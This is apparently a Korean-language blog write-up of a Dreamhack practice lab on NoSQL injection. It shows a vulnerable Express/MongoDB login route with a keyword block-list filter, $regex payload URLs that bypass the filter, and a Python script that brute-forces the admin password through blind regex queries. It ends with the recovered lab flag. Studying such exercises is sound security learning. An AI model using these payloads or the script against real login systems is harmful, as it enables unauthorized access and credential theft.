Dreamhack

No SQL Injection 실습

kchabin 2022. 8. 11. 23:51

/login 페이지 요청 시 실행되는 코드

app.get('/login', function(req, res) {

    if(filter(req.query)){ // filter 함수 실행
        res.send('filter');
        return;
    }
    
    const {uid, upw} = req.query; 
    db.collection('user').findOne({ // db에서 uid, upw로 검색
        'uid': uid,
        'upw': upw,
    }, function(err, result){
    
        if (err){ 
            res.send('err');
        }
        else if(result){ 
            res.send(result['uid']); 
        }
        else{
            res.send('undefined'); 
        }
    })
});

filter 함수

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

문자열 필터링

'admin', 'dh', 'admi'가 포함된 이용자의 요청 필터링.

이러한 문자열 필터링은 보안상, 안전한 코딩 방식이 아니다. 

 

const express = require('express');
const app = express();
app.get('/', function(req,res) {
    console.log('data:', req.query.data);
    console.log('type:', typeof req.query.data);
    res.send('hello world');
});
const server = app.listen(3000, function(){
    console.log('app.listen');
});

string 외에 다양한 형태의 object도 쿼리로 전달될 수 있다.

const {uid, upw} = req.query; // 이용자가 전송한 uid, upw 입력값을 가져옴
    db.collection('user').findOne({ // db에서 uid, upw로 검색
        'uid': uid,
        'upw': upw,
    }

쿼리 변수의 타입을 검사하지 않는다. -> NoSQL Injection 공격 발생 가능하다.

 

/login에서는 로그인에 성공했을 때 이용자의 uid만 출력한다. 따라서 Blind NoSQL 인젝션을 통해 admin의 upw를 획득해야한다. 

 

1. Blind NoSQL Injection Payload 생성

MongoDB의 $regex 연산을 사용하면 정규표현식을 이용해 데이터를 검색할 수 있다. 

upw가 일치하는 경우 uid, 아닌 경우 undefined 문자열이 출력되는 것을 통해 쿼리의 참과 거짓을 확인할 수 있다. 

 

--http://host1.dreamhack.games:13698/login?uid=guest&upw[$regex]=.* 페이로드 생성

 

2. filter 우회

정규표현식에서 임의 문자를 의미하는 . 을 이용하여 쉽게 우회할 수 있다.

 

http://host1.dreamhack.games:13698/login?uid[$regex]=ad.in&upw[$regex]=D.{*

 

Exploit Code

import requests, string
HOST = 'http://localhost'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in range(32):
    for ch in ALPHANUMERIC:
        response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
        if response.text == SUCCESS:
            flag += ch
            break
    print(f'FLAG: DH{{{flag}}}')

89e50fa6fafe2604e33c0ba05843d3df

'Dreamhack' 카테고리의 다른 글

Command Injection  (0) 2022.08.19
암호학 - 해시  (0) 2022.08.12
SQL Injection(2)  (0) 2022.08.11
SQL Injection(1)  (0) 2022.08.11
SQL  (0) 2022.08.11